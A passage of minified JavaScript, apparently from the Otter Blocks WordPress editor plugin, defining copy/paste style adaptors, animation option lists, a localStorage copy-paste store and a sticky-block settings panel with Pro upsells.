.paddingTypeTablet?e?.paddingBottomTablet:e?.paddingTablet,"px"),right:(0,F.Nn)("unlinked"===e?.paddingTypeTablet?e?.paddingRightTablet:e?.paddingTablet,"px"),left:(0,F.Nn)("unlinked"===e?.paddingTypeTablet?e?.paddingLeftTablet:e?.paddingTablet,"px")},mobile:(0,c.isObjectLike)(e?.paddingMobile)?e?.paddingMobile:{top:(0,F.Nn)("unlinked"===e?.paddingTypeMobile?e?.paddingTopMobile:e?.paddingTablet,"px"),bottom:(0,F.Nn)("unlinked"===e?.paddingTypeMobile?e?.paddingBottomMobile:e?.paddingMobile,"px"),right:(0,F.Nn)("unlinked"===e?.paddingTypeMobile?e?.paddingRightMobile:e?.paddingMobile,"px"),left:(0,F.Nn)("unlinked"===e?.paddingTypeMobile?e?.paddingLeftMobile:e?.paddingMobile,"px")}},margin:{desktop:(0,c.isObjectLike)(e?.margin)?e?.margin:{top:(0,F.Nn)("unlinked"===e?.marginType?e?.marginTop:e?.margin,"px"),bottom:(0,F.Nn)("unlinked"===e?.marginType?e?.marginBottom:e?.margin,"px")},tablet:(0,c.isObjectLike)(e?.marginTablet)?e?.marginTablet:{top:(0,F.Nn)("unlinked"===e?.marginTypeTablet?e?.marginTopTablet:e?.marginTablet,"px"),bottom:(0,F.Nn)("unlinked"===e?.marginTypeTablet?e?.marginBottomTablet:e?.marginTablet,"px")},mobile:(0,c.isObjectLike)(e?.marginTablet)?e?.marginTablet:{top:(0,F.Nn)("unlinked"===e?.marginTypeMobile?e?.marginTopMobile:e?.marginTablet,"px"),bottom:(0,F.Nn)("unlinked"===e?.marginTypeMobile?e?.marginBottomMobile:e?.marginMobile,"px")}}},private:{...(0,c.pick)(e,["marginType","paddingType"]),...null!==(t=(0,c.pickBy)(e,((e,t)=>t?.includes("highlight")||t?.includes("Tablet")||t?.includes("Width")||t?.includes("Mobile")||t?.includes("textShadow"))))&&void 0!==t?t:{}}}},paste(e){const{shared:t}=e;return{...e.private,padding:(0,F.wS)(t?.padding?.desktop?.top),paddingTop:(0,F.wS)(t?.padding?.desktop?.top),paddingBottom:(0,F.wS)(t?.padding?.desktop?.bottom),paddingRight:(0,F.wS)(t?.padding?.desktop?.right),paddingLeft:(0,F.wS)(t?.padding?.desktop?.left),paddingTopTablet:(0,F.wS)(t?.padding?.tablet?.top),paddingBottomTablet:(0,F.wS)(t?.padding?.tablet?.bottom),paddingRightTablet:(0,F.wS)(t?.padding?.tablet?.right),paddingLeftTablet:(0,F.wS)(t?.padding?.tablet?.left),paddingTopMobile:(0,F.wS)(t?.padding?.mobile?.top),paddingBottomMobile:(0,F.wS)(t?.padding?.mobile?.bottom),paddingRightMobile:(0,F.wS)(t?.padding?.mobile?.right),paddingLeftMobile:(0,F.wS)(t?.padding?.mobile?.left),margin:(0,F.wS)(t?.margin?.desktop?.top),marginTop:(0,F.wS)(t?.margin?.desktop?.top),marginBottom:(0,F.wS)(t?.margin?.desktop?.bottom),marginTopTablet:(0,F.wS)(t?.margin?.tablet?.top),marginBottomTablet:(0,F.wS)(t?.margin?.tablet?.bottom),marginTopMobile:(0,F.wS)(t?.margin?.mobile?.top),marginBottomMobile:(0,F.wS)(t?.margin?.mobile?.bottom),fontSize:(0,F.wS)(t?.font?.size),fontFamily:t?.font?.family,fontVariant:t?.font?.variant,fontStyle:t?.font?.style,letterSpacing:(0,F.wS)(t?.font?.letterSpacing),lineHeight:(0,F.wS)(t?.font?.lineHeight),headingColor:t?.colors?.text,align:t?.font?.align,textTransform:t?.font?.transform}}},"themeisle-blocks/countdown":{copy(e){return{shared:{colors:{text:e?.labelColor,background:e?.backgroundColor,border:e?.borderColor},height:{desktop:(0,F.Nn)(e?.height,"px"),tablet:(0,F.Nn)(e?.heightTablet,"px"),mobile:(0,F.Nn)(e?.heightMobile,"px")},width:{desktop:e?.containerWidth,tablet:e?.containerWidthTablet,mobile:e?.containerWidthMobile},border:{radius:{desktop:e?.borderRadiusBox},width:(0,F.rO)((0,F.Nn)(e?.borderWidth)),style:e?.borderStyle},font:{size:(0,F.Nn)(e?.labelFontSize,"px"),style:e?.labelFontWeight},padding:{desktop:e?.padding,tablet:e?.paddingMobile,mobile:e?.paddingTablet}},private:{...(0,c.pickBy)(e,((e,t)=>t.includes("Tablet")||t.includes("Mobile")||t.includes("gap")||t.includes("Color")||t.includes("Distance")||t.includes("Font"))),alignment:e?.alignment}}},paste(e){const{shared:t}=e;return{...e.private,labelColor:t?.colors?.text,backgroundColor:t?.colors?.background,borderColor:t?.colors?.border,borderStyle:t?.border?.style,height:(0,F.wS)(t?.height?.desktop),heightTablet:(0,F.wS)(t?.height?.tablet),heightMobile:(0,F.wS)(t?.height?.mobile),containerWidth:t?.width?.desktop,containerWidthTablet:t?.width?.tablet,containerWidthMobile:t?.width?.mobile,borderRadiusBox:t?.border?.radius?.desktop,labelFontSize:(0,F.wS)(t?.font?.size),padding:t?.padding?.desktop,paddingTablet:t?.padding?.tablet,paddingMobile:t?.padding?.mobile}}},"themeisle-blocks/woo-comparison":{copy(e){return{shared:{colors:{text:e?.textColor,border:e?.borderColor}},private:{...(0,c.pick)(e,["altRow","rowColor","headerColor","altRowColor"])}}},paste(e){return{...e.private,textColor:e?.shared?.colors?.text,borderColor:e?.shared?.colors?.border}}},"themeisle-blocks/business-hours-item":{copy(e){return{shared:{colors:{text:e?.labelColor,background:e?.backgroundColor}},private:{timeColor:e?.timeColor}}},paste(e){return{...e.private,labelColor:e?.shared?.colors?.text,backgroundColor:e?.shared?.colors?.background}}},"themeisle-blocks/business-hours":{copy(e){return{shared:{colors:{text:e?.titleColor,background:e?.backgroundColor,border:e?.borderColor},border:{width:(0,F.rO)((0,F.Nn)(e?.borderWidth,"px")),radius:{desktop:(0,F.rO)((0,F.Nn)(e?.borderRadius,"px"))}},font:{size:(0,F.Nn)(e?.titleFontSize,"px"),align:e?.titleAlignment}},private:{...(0,c.pick)(e,["gap","itemsFontSize"])}}},paste(e){return{...e.private,backgroundColor:e?.shared?.colors?.background,titleColor:e.shared?.colors?.text,titleAlignment:e.shared?.font?.align,borderColor:e.shared?.colors?.border,borderWidth:(0,F.wS)((0,F.it)(e.shared?.border?.width)),borderRadius:(0,F.wS)((0,F.it)(e.shared?.border?.radius?.desktop))}}},"themeisle-blocks/sharing-icons":{copy(e){return{shared:{colors:{text:e?.textColor,background:e?.backgroundColor},border:{radius:{desktop:(0,F.rO)((0,F.Nn)(e?.borderRadius,"px"))}}},private:{...(0,c.pick)(e,["gap","textDeco","facebook","twitter","linkedin","pinterest","tumblr","reddit"])}}},paste(e){return{...e.private,backgroundColor:e?.shared?.colors?.background,textColor:e.shared?.colors?.text,borderRadius:(0,F.wS)((0,F.it)(e?.shared?.border?.radius?.desktop))}}}},Me=(Object.keys(Be),[{label:(0,s.__)("None","otter-blocks"),value:"none"},{label:(0,s.__)("Back In Down","otter-blocks"),value:"backInDown"},{label:(0,s.__)("Back In Left","otter-blocks"),value:"backInLeft"},{label:(0,s.__)("Back In Right","otter-blocks"),value:"backInRight"},{label:(0,s.__)("Back In Up","otter-blocks"),value:"backInUp"},{label:(0,s.__)("Bounce","otter-blocks"),value:"bounce"},{label:(0,s.__)("Bounce In","otter-blocks"),value:"bounceIn"},{label:(0,s.__)("Bounce In Down","otter-blocks"),value:"bounceInDown"},{label:(0,s.__)("Bounce In Left","otter-blocks"),value:"bounceInLeft"},{label:(0,s.__)("Bounce In Right","otter-blocks"),value:"bounceInRight"},{label:(0,s.__)("Bounce In Up","otter-blocks"),value:"bounceInUp"},{label:(0,s.__)("Fade In","otter-blocks"),value:"fadeIn"},{label:(0,s.__)("Fade In Down","otter-blocks"),value:"fadeInDown"},{label:(0,s.__)("Fade In Down Big","otter-blocks"),value:"fadeInDownBig"},{label:(0,s.__)("Fade In Left","otter-blocks"),value:"fadeInLeft"},{label:(0,s.__)("Fade In Left Big","otter-blocks"),value:"fadeInLeftBig"},{label:(0,s.__)("Fade In Right","otter-blocks"),value:"fadeInRight"},{label:(0,s.__)("Fade In Right Big","otter-blocks"),value:"fadeInRightBig"},{label:(0,s.__)("Fade In Up","otter-blocks"),value:"fadeInUp"},{label:(0,s.__)("Fade In Top Left","otter-blocks"),value:"fadeInTopLeft"},{label:(0,s.__)("Fade In Top Right","otter-blocks"),value:"fadeInTopRight"},{label:(0,s.__)("Fade In Bottom Left","otter-blocks"),value:"fadeInBottomLeft"},{label:(0,s.__)("Fade In Bottom Right","otter-blocks"),value:"fadeInBottomRight"},{label:(0,s.__)("Flip","otter-blocks"),value:"flip"},{label:(0,s.__)("Flip In X","otter-blocks"),value:"flipInX"},{label:(0,s.__)("Flip In Y","otter-blocks"),value:"flipInY"},{label:(0,s.__)("Rotate In","otter-blocks"),value:"rotateIn"},{label:(0,s.__)("Rotate In Down Left","otter-blocks"),value:"rotateInDownLeft"},{label:(0,s.__)("Rotate In Down Right","otter-blocks"),value:"rotateInDownRight"},{label:(0,s.__)("Rotate In Up Left","otter-blocks"),value:"rotateInUpLeft"},{label:(0,s.__)("Rotate In Up Right","otter-blocks"),value:"rotateInUpRight"},{label:(0,s.__)("Slide In Down","otter-blocks"),value:"slideInDown"},{label:(0,s.__)("Slide In Left","otter-blocks"),value:"slideInLeft"},{label:(0,s.__)("Slide In Right","otter-blocks"),value:"slideInRight"},{label:(0,s.__)("Slide In Up","otter-blocks"),value:"slideInUp"},{label:(0,s.__)("Zoom In","otter-blocks"),value:"zoomIn"},{label:(0,s.__)("Zoom In Down","otter-blocks"),value:"zoomInDown"},{label:(0,s.__)("Zoom In Left","otter-blocks"),value:"zoomInLeft"},{label:(0,s.__)("Zoom In Right","otter-blocks"),value:"zoomInRight"},{label:(0,s.__)("Zoom In Up","otter-blocks"),value:"zoomInUp"},{label:(0,s.__)("Roll In","otter-blocks"),value:"rollIn"},{label:(0,s.__)("Light Speed In Right","otter-blocks"),value:"lightSpeedInRight"},{label:(0,s.__)("Light Speed In Left","otter-blocks"),value:"lightSpeedInLeft"},{label:(0,s.__)("Flash","otter-blocks"),value:"flash"},{label:(0,s.__)("Pulse","otter-blocks"),value:"pulse"},{label:(0,s.__)("Rubber Band","otter-blocks"),value:"rubberBand"},{label:(0,s.__)("Shake X","otter-blocks"),value:"shakeX"},{label:(0,s.__)("Shake Y","otter-blocks"),value:"shakeY"},{label:(0,s.__)("Head Shake","otter-blocks"),value:"headShake"},{label:(0,s.__)("Swing","otter-blocks"),value:"swing"},{label:(0,s.__)("TaDa","otter-blocks"),value:"tada"},{label:(0,s.__)("Wobble","otter-blocks"),value:"wobble"},{label:(0,s.__)("Jello","otter-blocks"),value:"jello"},{label:(0,s.__)("Heart Beat","otter-blocks"),value:"heartBeat"},{label:(0,s.__)("Hinge","otter-blocks"),value:"hinge"},{label:(0,s.__)("Jack In The Box","otter-blocks"),value:"jackInTheBox"}]),Pe=((0,s.__)("Backing","otter-blocks"),(0,s.__)("Bouncing","otter-blocks"),(0,s.__)("Fading","otter-blocks"),(0,s.__)("Flipping","otter-blocks"),(0,s.__)("Rotating","otter-blocks"),(0,s.__)("Sliding","otter-blocks"),(0,s.__)("Zooming","otter-blocks"),(0,s.__)("Rolling","otter-blocks"),(0,s.__)("Light Speed","otter-blocks"),(0,s.__)("Other","otter-blocks"),["backOutDown","backOutLeft","backOutRight","backOutUp","bounceOut","bounceOutDown","bounceOutLeft","bounceOutRight","bounceOutUp","fadeOut","fadeOutDown","fadeOutDownBig","fadeOutLeft","fadeOutLeftBig","fadeOutRight","fadeOutRightBig","fadeOutUp","fadeOutUpBig","fadeOutTopLeft","fadeOutTopRight","fadeOutBottomRight","fadeOutBottomLeft","flipOutX","flipOutY","lightSpeedOutRight","lightSpeedOutLeft","rotateOut","rotateOutDownLeft","rotateOutDownRight","rotateOutUpLeft","rotateOutUpRight","slideOutDown","slideOutLeft","slideOutRight","slideOutUp","zoomOut","zoomOutDown","zoomOutLeft","zoomOutRight","zoomOutUp","rollOut"]),ze=[{label:(0,s.__)("None","otter-blocks"),value:"none"},{label:(0,s.__)("100 Milliseconds","otter-blocks"),value:"delay-100ms"},{label:(0,s.__)("200 Milliseconds","otter-blocks"),value:"delay-200ms"},{label:(0,s.__)("500 Milliseconds","otter-blocks"),value:"delay-500ms"},{label:(0,s.__)("One Second","otter-blocks"),value:"delay-1s"},{label:(0,s.__)("Two Second","otter-blocks"),value:"delay-2s"},{label:(0,s.__)("Three Second","otter-blocks"),value:"delay-3s"},{label:(0,s.__)("Four Second","otter-blocks"),value:"delay-4s"},{label:(0,s.__)("Five Second","otter-blocks"),value:"delay-5s"},{label:(0,s.__)("Custom","otter-blocks"),value:"o-anim-custom-delay"}],Fe=[{label:(0,s.__)("Slow","otter-blocks"),value:"slow"},{label:(0,s.__)("Slower","otter-blocks"),value:"slower"},{label:(0,s.__)("Default","otter-blocks"),value:"none"},{label:(0,s.__)("Fast","otter-blocks"),value:"fast"},{label:(0,s.__)("Faster","otter-blocks"),value:"faster"},{label:(0,s.__)("Custom","otter-blocks"),value:"o-anim-custom-speed"}],Re=new class{version="1";storage={shared:{},core:{},private:{},copiedBlock:""};isExpired=!1;constructor(){this.version===this.getSavedVersion()?(this.checkExpirationDate(),this.isExpired?this.updateExpirationDate():this.pull()):this.updateVersion()}copy(e){let t="ERROR";try{if(!Be?.[e.name])return"NO-ADAPTOR";const l=(0,T.yg)((0,c.pickBy)(Be?.[e.name]?.copy(e.attributes),(e=>!(0,c.isNil)(e))));this.storage.copiedBlock=e.name,this.storage.shared=l?.shared,this.storage.core=l?.core,this.storage.private=l?.private,this.storage.animations=(e=>{if(void 0===e||!e?.includes("animated"))return;const t=(0,c.uniq)(e.split(" ")),l=["animated",...Me.map((e=>e.value)),...Pe,...ze.map((e=>e.value)),...Fe],o=t.filter((e=>0<e.length&&l.some((t=>e===t))));return 0===o.length?void 0:o})(e?.attributes?.className),this.sync(),t="SUCCESS"}catch(e){console.error(e),this.storage={},this.sync()}finally{return t}}paste(e){let t;try{if(!Be?.[e.name])return;const l={shared:this.storage.shared,private:e.name===this.storage.copiedBlock?this.storage.private:void 0,core:e.name?.startsWith("core/")?this.storage.core:void 0};t=Be?.[e.name]?.paste(l),t.className=((e,t)=>{if(void 0===t)return e;const l=(0,c.uniq)((null!=e?e:"").split(" ")),o=["animated",...Me.map((e=>e.value)),...Pe,...ze.map((e=>e.value)),...Fe],a=l.filter((e=>!o.some((t=>e===t))&&0<e.length));return(0,c.uniq)([...null!=a?a:[],...null!=t?t:[]]).join(" ").trim()})(e.attributes?.className,this.storage.animations),e.name!==this.storage.copiedBlock&&(t=(0,T.yg)(t))}catch(e){console.error(e)}finally{return t}}sync(){localStorage.setItem("o-copyPasteStorage",JSON.stringify(this.storage))}pull(){var e;this.storage=JSON.parse(null!==(e=localStorage.getItem("o-copyPasteStorage"))&&void 0!==e?e:"{}")}getSavedVersion(){return localStorage.getItem("o-copyPasteStorage-version")}updateVersion(){localStorage.setItem("o-copyPasteStorage-version",this.version)}updateExpirationDate(){localStorage.setItem("o-copyPasteStorage-expiration",Date.now().toString()),this.isExpired=!1}checkExpirationDate(){const e=localStorage.getItem("o-copyPasteStorage-expiration");this.isExpired=Boolean((0,c.isNil)(e)||void 0!==e&&parseInt(e)+288e5<Date.now())}};function Le(){if("undefined"!=typeof window&&void 0===window.oThemeStyles){var e;const t=(0,c.pick)(null!==(e=(0,n.select)("core/block-editor")?.getSettings?.())&&void 0!==e?e:{},["colors","gradients","styles"]);(0,F.K2)(t)}const{getMultiSelectedBlocks:t,getSelectedBlock:l,getSelectedBlockCount:o}=(0,n.select)("core/block-editor");if(void 0===t||void 0===l||void 0===o)return;let a=[];if(a=1<o()?t():[l()],0===a.length)return;const r=a[0].name;if(a.some((e=>e.name!==r)))return;const i=a.map((e=>Re.copy(e))),{createNotice:d}=(0,n.dispatch)("core/notices");0<i?.filter((e=>"SUCCESS"==e))?.length?d("info",(0,s.__)("Copied the styles.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"o-copied-success"}):0<i?.filter((e=>"ERROR"==e))?.length&&d("error",(0,s.__)("An error occurred when trying to copy the style.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"o-copied-error"})}function Oe(){const{getMultiSelectedBlocks:e,getSelectedBlock:t,getSelectedBlockCount:l}=(0,n.select)("core/block-editor");if(void 0===e||void 0===t||void 0===l)return;let o=[];if(o=1<l()?e():[t()],0===o.length)return;const{updateBlockAttributes:a}=(0,n.dispatch)("core/block-editor");void 0!==a&&o.forEach((e=>{const t=Re.paste(e);void 0!==t&&a(e.clientId,t)}))}const Ie=e=>(0,o.createElement)("span",{style:{marginLeft:"",marginRight:"2px"}},e),He=()=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.KeyboardShortcuts,{shortcuts:(0,T.R8)()?{"ctrl+c":Le,"ctrl+v":Oe}:{"alt+c":Le,"alt+x":Oe},bindGlobal:!0}),(0,o.createElement)(E.BlockSettingsMenuControls,null,(()=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.MenuItem,{icon:Ie((0,T.R8)()?Te.displayShortcut.ctrl("c"):Te.displayShortcut.alt("c")),onClick:Le},(0,s.__)("Copy Style","otter-blocks")),!Re.isExpired&&(0,o.createElement)(a.MenuItem,{icon:Ie((0,T.R8)()?Te.displayShortcut.ctrl("v"):Te.displayShortcut.alt("x")),onClick:Oe},(0,s.__)("Paste Style","otter-blocks")))))),Ne=(0,Z.createHigherOrderComponent)((e=>t=>Be?.[t.name]&&t.isSelected?(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t}),(0,o.createElement)(He,{...t})):(0,o.createElement)(e,{...t})),"withCopyPasteExtension");(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/copy-paste-extension",Ne);var Ae=l(9084);const Ve={position:"o-sticky-pos",offset:"o-sticky-offset",scope:"o-sticky-scope",behaviour:"o-sticky-bhvr",usage:"o-sticky-use",float:"o-sticky-float",width:"o-sticky-width",side:"o-sticky-side",sideOffset:"o-sticky-opt-side-offset",fitInHeader:"o-sticky-header-space",headerGap:"o-sticky-header-gap"},De=()=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Position","otter-blocks"),help:(0,s.__)("Position of the block in relation to the screen.","otter-blocks"),value:"o-sticky-pos-top",options:[{label:(0,s.__)("Top","otter-blocks"),value:"o-sticky-pos-top"},{label:(0,s.__)("Bottom (Pro)","otter-blocks"),value:"o-sticky-pos-bottom",disabled:!0}],onChange:()=>{}}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Offset","otter-blocks"),help:(0,s.__)("Distance from the block to the screen.","otter-blocks"),disabled:!0,value:0,min:0,max:500,onChange:()=>{}}),(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Behaviour","otter-blocks"),help:(0,s.__)("Behaviour when multiple sticky blocks with the same movement limit collide.","otter-blocks"),value:"o-sticky-bhvr-keep",options:[{label:(0,s.__)("Collapse","otter-blocks"),value:"o-sticky-bhvr-keep"},{label:(0,s.__)("Fade (Pro)","otter-blocks"),value:"o-sticky-bhvr-hide",disabled:!0},{label:(0,s.__)("Stack (Pro)","otter-blocks"),value:"o-sticky-bhvr-stack",disabled:!0}],onChange:()=>{}}),(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Enable on Mobile","otter-blocks"),help:(0,s.__)("Make the sticky mode active for mobile users."),disabled:!0,checked:!1,onChange:()=>{}}),!Boolean(window.themeisleGutenberg?.hasPro)&&(0,o.createElement)(Ae.Z,{notice:(0,o.createElement)(a.ExternalLink,{href:(0,T.Wi)(window.themeisleGutenberg.upgradeLink,"stickyfeature")},(0,s.__)("Get more options with Otter Pro.","otter-blocks")),variant:"upsell",instructions:void 0})),Ge=({className:e,clientId:t,addOption:l,removeOptions:r})=>{var i;const{isRootBlock:c,activeFloatBlocks:d}=(0,n.useSelect)((e=>{var l,o;const{getBlocks:a}=e("core/block-editor"),n=a();return{isRootBlock:null!==(l=n?.some((e=>e.clientId===t)))&&void 0!==l&&l,activeFloatBlocks:null!==(o=n?.filter((e=>e.clientId!==t&&e?.attributes?.className?.includes(Ve.float))))&&void 0!==o?o:[]}}),[]),u=e?.includes(Ve.float),m=e?.includes(Ve.fitInHeader),[p,g]=(0,b.useState)(e?.split(" ")?.find((e=>e.includes(Ve.width)))?.split("-")?.pop()),[h,k]=(0,b.useState)(e?.split(" ")?.find((e=>e.includes(Ve.sideOffset)))?.split("-")?.pop()),[y,f]=(0,b.useState)(e?.split(" ")?.find((e=>e.includes(Ve.headerGap)))?.split("-")?.pop());return(0,b.useEffect)((()=>{e?.split(" ")?.find((e=>e.includes(Ve.width)))?.split("-")?.pop()!==p&&l(`o-sticky-width-${p}`,Ve.width),e?.split(" ")?.find((e=>e.includes(Ve.sideOffset)))?.split("-")?.pop()!==h&&l(`o-sticky-opt-side-offset-${h}`,Ve.sideOffset),e?.split(" ")?.find((e=>e.includes(Ve.headerGap)))?.split("-")?.pop()!==y&&(""===y?r([Ve.headerGap]):l(`${Ve.headerGap}-${y}`,Ve.headerGap))}),[p,h,y]),(0,o.createElement)("div",null,(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Float Mode","otter-blocks"),help:(0,s.__)("Make the block to float. This is available only for root blocks.","otter-blocks"),checked:u,onChange:e=>{e&&0===d.length?l(Ve.float,Ve.float):!1===e&&r([Ve.float,Ve.width,Ve.sideOffset,Ve.headerGap,Ve.fitInHeader])},disabled:(0<d.length||!c)&&!u}),0<d?.length&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)("p",null,(0,s.__)("Only one block can be in float mode.","otter-blocks")),(0,o.createElement)("div",{style:{display:"flex",flexDirection:"column",gap:"10px",alignItems:"flex-start"}},d.map(((e,t)=>(0,o.createElement)(a.Button,{key:t,variant:"secondary",onClick:()=>{(0,n.dispatch)("core/block-editor").selectBlock(e.clientId)}},1===d?.length?(0,s.__)("Go to current active float block","otter-blocks"):`${(0,s.__)("Go to the active float block","otter-blocks")} (${t})`))))),u&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)("p",null,(0,s.__)("The block is now in a floating state. Set the desired width. Please check the result in Preview.","otter-blocks")),(0,o.createElement)(a.__experimentalUnitControl,{label:(0,s.__)("Width","otter-blocks"),value:null!=p?p:"100%",onChange:g}),(0,o.createElement)("p",{style:{fontSize:"12px",color:"rgb(117, 117, 117)",marginTop:"calc(8px)"}},(0,s.__)("Set the width of the block.","otter-blocks")),(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Side to stick","otter-blocks"),value:null!==(i=e?.split(" ")?.find((e=>e.includes(Ve.side))))&&void 0!==i?i:"o-sticky-side-left",options:[{label:(0,s.__)("Left","otter-blocks"),value:"o-sticky-side-left"},{label:(0,s.__)("Right","otter-blocks"),value:"o-sticky-side-right"}],onChange:e=>{l("o-sticky-side-left"===e?void 0:e,Ve.side)}}),(0,o.createElement)(a.__experimentalUnitControl,{label:(0,s.__)("Side Offset","otter-blocks"),value:null!=h?h:"20px",onChange:k}),(0,o.createElement)("p",{style:{fontSize:"12px",color:"rgb(117, 117, 117)",marginTop:"calc(8px)"}},(0,s.__)("Set the distance between the Sticky block and the chosen side.","otter-blocks")),e?.includes("o-sticky-pos-top")&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Prevent Header Obstruction","otter-blocks"),help:(0,s.__)("Add an extra space above the Header to fit the Sticky block.","otter-blocks"),checked:m,onChange:e=>{e?l(Ve.fitInHeader,Ve.fitInHeader):!1===e&&r([Ve.fitInHeader,Ve.headerGap])}}),m&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.__experimentalUnitControl,{label:(0,s.__)("Top to Header Gap","otter-blocks"),value:y,onChange:f}),(0,o.createElement)("p",{style:{fontSize:"12px",color:"rgb(117, 117, 117)",marginTop:"calc(8px)"}},(0,s.__)("Set the size of space between the top of your page and the header. If empty, it will automatically configure.","otter-blocks")))))))};var je=({attributes:e,setAttributes:t,clientId:l})=>{const[n,r]=(0,b.useState)([{label:(0,s.__)("Screen","otter-blocks"),value:"o-sticky-scope-screen"}]),i=e?.className?.split(" ")?.filter((e=>e.includes("o-sticky-scope"))).pop()||"o-sticky-scope-main-area",c=(l,o)=>{var a;const n=new Set(null!==(a=e?.className?.split(" ")?.filter((e=>!o.some((t=>e.includes(t))))))&&void 0!==a?a:[]);for(const e of l)e&&n.add(e);t({className:Array.from(n).filter((e=>"string"==typeof e&&e)).join(" ")})},d=(e,t=Ve.position)=>{c([e],[t])};return(0,b.useEffect)((()=>{if(l){const e=document.querySelector(`#block-${l}`);if(e){let t=e?.parentElement;const l=[],o=[];for(;t&&!t.classList.contains("is-root-container");)(t.classList.contains("wp-block-themeisle-blocks-advanced-column")||t.classList.contains("wp-block-group")||t.classList.contains("wp-block-column"))&&l.push("parent"),(t.classList.contains("wp-block-themeisle-blocks-advanced-columns")||t.classList.contains("wp-block-group")||t.classList.contains("wp-block-columns"))&&l.push("section"),t=t.parentElement;l.some((e=>"section"===e))&&(o.push({label:(0,s.__)("Top Level Block","otter-blocks"),value:"o-sticky-scope-main-area"}),1<l.filter((e=>"section"===e))?.length&&o.push({label:(0,s.__)("Section","otter-blocks"),value:"o-sticky-scope-section"})),l.some((e=>"parent"===e))&&o.push({label:(0,s.__)("Parent Block","otter-blocks"),value:"o-sticky-scope-parent"}),o.push({label:(0,s.__)("Screen","otter-blocks"),value:"o-sticky-scope-screen"}),r(o)}}}),[l]),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Sticky","otter-blocks"),initialOpen:!1},(0,o.createElement)("p",null,(0,s.__)("Set any block as Sticky, so that it sticks to another element on the page.","otter-blocks")),(0,o.createElement)(a.ExternalLink,{target:"_blank",rel:"noopener noreferrer",href:"https://docs.themeisle.com/article/1529-how-to-make-a-block-sticky"},(0,s.__)("Learn more about Sticky","otter-blocks")),(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Sticky To","otter-blocks"),help:(0,s.__)("Select the parent element for the sticky block.","otter-blocks"),value:i,options:n,onChange:e=>d(e,Ve.scope)}),(0,o.createElement)(Ge,{className:e.className,clientId:l,addOption:d,removeOptions:e=>{c([],e)}}),(0,p.applyFilters)("otter.sticky.controls",(0,o.createElement)(De,null),e,Ve,d),(0,o.createElement)("div",{className:"o-fp-wrap"},(0,p.applyFilters)("otter.feedback","","sticky"),(0,p.applyFilters)("otter.poweredBy","")))};const We=["-item","form-"],$e=(e,t,l)=>{let o=e?.filter((e=>!e.includes("o-sticky")))||[];t||o.push("o-sticky","o-sticky-scope-main-area","o-sticky-pos-top","o-sticky-bhvr-keep"),o=o.join(" "),l({className:""!==o?o:void 0})};(0,p.addFilter)("otter.blockTools","themeisle-gutenberg/sticky-extension",((e,t)=>{if((0,k.hasBlockSupport)(t.name,"customClassName",!0)&&!We.some((e=>t.name?.includes(e)))){const l=t.attributes?.className?.split(" "),n=l?.includes("o-sticky")||!1;return(0,o.createElement)(b.Fragment,null,e,(0,o.createElement)(a.__experimentalToolsPanelItem,{hasValue:()=>n,label:(0,s.__)("Transform to Sticky","otter-blocks"),onSelect:()=>$e(l,n,t.setAttributes),onDeselect:()=>$e(l,n,t.setAttributes),isShownByDefault:!1},n&&(0,o.createElement)(je,{...t})))}return e}),4);var Ue=l(2629),Ze={posts:{label:(0,s.__)("Posts","otter-blocks"),options:[{label:(0,s.__)("Post ID","otter-blocks"),value:"postID"},{label:(0,s.__)("Post Title","otter-blocks"),value:"postTitle"},{label:(0,s.__)("Post Content","otter-blocks"),value:"postContent"},{label:(0,s.__)("Post Excerpt","otter-blocks"),value:"postExcerpt"},{label:(0,s.__)("Post Date","otter-blocks"),value:"postDate",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Time","otter-blocks"),value:"postTime",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Terms","otter-blocks"),value:"postTerms",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Custom Field","otter-blocks"),value:"postMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Advanced Custom Fields","otter-blocks"),value:"acf",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Type","otter-blocks"),value:"postType"},{label:(0,s.__)("Post Status","otter-blocks"),value:"postStatus"}]},site:{label:(0,s.__)("Site","otter-blocks"),options:[{label:(0,s.__)("Site Title","otter-blocks"),value:"siteTitle"},{label:(0,s.__)("Site Tagline","otter-blocks"),value:"siteTagline"}]},author:{label:(0,s.__)("Author","otter-blocks"),options:[{label:(0,s.__)("Author Name","otter-blocks"),value:"authorName"},{label:(0,s.__)("Author Description","otter-blocks"),value:"authorDescription"},{label:(0,s.__)("Author Meta","otter-blocks"),value:"authorMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]},loggedInUser:{label:(0,s.__)("Logged-in User","otter-blocks"),options:[{label:(0,s.__)("Logged-in User Name","otter-blocks"),value:"loggedInUserName"},{label:(0,s.__)("Logged-in User Description","otter-blocks"),value:"loggedInUserDescription"},{label:(0,s.__)("Logged-in User Email","otter-blocks"),value:"loggedInUserEmail"},{label:(0,s.__)("Logged-in User Meta","otter-blocks"),value:"loggedInUserMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]},misc:{label:(0,s.__)("Miscellaneous","otter-blocks"),options:[{label:(0,s.__)("Archive Title","otter-blocks"),value:"archiveTitle"},{label:(0,s.__)("Archive Description","otter-blocks"),value:"archiveDescription"},{label:(0,s.__)("Current Date","otter-blocks"),value:"date"},{label:(0,s.__)("Current 